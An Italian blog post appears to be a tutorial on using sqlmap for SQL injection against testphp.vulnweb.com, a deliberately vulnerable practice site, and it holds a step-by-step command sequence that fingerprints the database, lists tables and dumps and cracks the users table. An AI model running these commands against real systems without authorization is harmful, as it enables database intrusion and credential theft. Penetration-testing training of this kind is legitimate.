attacco a database con Sqlmap

Posted on 27 settembre 2021. Filed under: Senza categoria |

In questo articolo vedremo SqlMap.

Premetto che non è mia intenzione spiegare come attaccare sistemi altrui e ricordo che violare un sistema informatico non autorizzato è vietato dalla legge. Lo scopo dell’articolo è per spiegare come scoprire buchi nei vostri sistemi e quindi mettergli la “pezza”.

Sqlmap è un software open source per il penetration testing, che permette di automatizzare il rilevamento e lo sfruttamento di difetti nelle SQL injection e prendere così il controllo dei server DBMS. Il software lavora a linea di comando.
Sqlmap supporta svariati DBMS come MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB e Informix. Supporta inoltre 6 diversi tipi di SQL injection.

Può riconoscere anche il formato hash delle password e lanciare su di esse degli attacchi a dizionario.

Sqlmap integra al suo interno altri strumenti per il Penetration Testing come Metasploit e w3af.

In questo articolo useremo Sqlmap su una macchina Kali Linux.

Come macchina della vittima useremo un sito di test appositamente creato per i test e per fare pratica di Penetration Testing.

Il sito è vulnweb.com.

Vediamo quindi come fare un Injection Sql a un database.

Apriamo una finestra terminale, e digitiamo il seguente comando:

sqlmap –u “http://testphp.vulnweb.com/listproducts.php?cat=1”. Dobbiamo mettere l’input in fase della query GET, ossia nella barra degli indirizzi.

Vedremo un output simile a questo:

image

 

Questo ci indica che il sito è vulnerabile.

Vediamo anche che il DBMS usato è MySql.

Abbiamo la conferma digitando:

sqlmap –u “http://testphp.vulnweb.com/listproducts.php?cat=1” –-dbms MySQL

 image

Vediamo allora se siamo dba con il comando:

sqlmap –u “http://testphp.vulnweb.com/listproducts.php?cat=1” –is-dba

image

 

Non siamo dba ma andiamo avanti a scoprire su quale database ci connettiamo:

sqlmap –u “http://testphp.vulnweb.com/listproducts.php?cat=1” –current-db

image

 

Andiamo a vedere correnti username e password di connessione al database:

sqlmap –u “http://testphp.vulnweb.com/listproducts.php?cat=1” –current-user

 

image

 

sqlmap –u “http://testphp.vulnweb.com/listproducts.php?cat=1” –-passwords

Che però non ce la fa vedere perchè non siamo dba.

image

 

Procediamo comunque a vedere le tabelle e magari le righe.

sqlmap –u “http://testphp.vulnweb.com/listproducts.php?cat=1” –-tables

 

image

 

Per avere le righe di qualunque tabella basta usare

sqlmap –u “http://testphp.vulnweb.com/listproducts.php?cat=1” –-tables nometabella

ad esempio:

sqlmap –u “http://testphp.vulnweb.com/listproducts.php?cat=1” –-tables categ

image

Quella che ci interessa è però, ovviamente, la tabella users.

Usiamo quindi il comando:

sqlmap –u “http://testphp.vulnweb.com/listproducts.php?cat=1” –-dump users

Lui ci chiederà di craccare la password passandogli un file di dizionario o usando il suo dizionario:

image

 

Ma alla fine otteniamo quello che ci interessa:

image

 

A questo punto possiamo poi usare altri tools per modificare la password, cancellare l’utente, crearne uno nuovo e così via.

Ma quella è un’altra storia (e un altro articolo).

Make a Comment

Rispondi

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo di WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione /  Modifica )

Google photo

Stai commentando usando il tuo account Google. Chiudi sessione /  Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione /  Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione /  Modifica )

Connessione a %s...

Liked it here?
Why not try sites on the blogroll...

%d blogger hanno fatto clic su Mi Piace per questo: